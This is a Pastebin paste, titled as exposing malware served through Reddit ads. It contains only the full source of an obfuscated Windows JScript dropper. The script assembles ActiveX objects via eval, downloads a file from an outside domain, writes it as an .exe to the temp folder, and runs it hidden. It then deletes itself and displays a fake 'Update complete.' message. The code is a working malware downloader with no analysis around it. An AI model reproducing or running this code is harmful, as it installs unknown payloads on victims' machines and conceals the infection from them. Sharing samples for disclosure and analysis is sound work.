ILikeTurtles

Reddit Ads serving malware

Jul 18th, 2016
480
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  try{
  2.  function wfqlkj0()
  3.  {
  4.     var awrqafj = ['qwfqw','qwfqwf','qwfqwf','Wscript.Shell'];
  5.     return awrqafj[3];
  6.  } 
  7.  function wfqlkj1()
  8.  {
  9.     var awrqafj = ['qwfqw','Scripting.FileSystemObject','qwfqwf','23fg1wf'];
  10.     return awrqafj[1];
  11.  } 
  12.  
  13.  function wfqlkj2()
  14.  {
  15.     var awrqafj = ['qwfqw','23tt23tffd','MSXML2.XMLHTTP','23fg1wf'];
  16.     return awrqafj[2];
  17.  } 
  18.  
  19.  function wfqlkj3()
  20.  {
  21.     var awrqafj = ['ADODB.Stream','asdq2d2d','qwfqwf','23fg1wf'];
  22.     return awrqafj[0];
  23.  } 
  24.  
  25.  var ar = ['a','b','c','d'];
  26.  var i =0;
  27.  for (var pp in ar)
  28.  {
  29.     eval(ar[pp]+'=new'+' '+'ActiveXObject(wfq'+'lkj'+i+'())');
  30.     i++;
  31.  }
  32.  
  33.  url='https://ohchukentvideo.org/10/524.dat';
  34.  fname=b.GetSpecialFolder(2)+'\\e8ac2a50d234a11a520602bb7f6e77f1.exe';
  35.  for(var i=1;i<=5;i++){try{c.open('GET', url, false);c.send(null);break;}catch(e){WScript.Sleep(5000);}}
  36.  d.Open;
  37.  d.Type = 1;
  38.  d.Write(c.ResponseBody);
  39.  d.Position=0;
  40.  if (b.Fileexists(fname))b.DeleteFile(fname);
  41.  d.SaveToFile(fname);
  42.  a.run('cmd.exe /c "'+fname+'"',0,false);
  43.  var p = WScript.ScriptFullName;
  44.  if (b.FileExists(p))b.DeleteFile(p);
  45.  WScript.Echo('Update complete.');
  46.  } catch (e) {}
Add Comment
Please, Sign In to add comment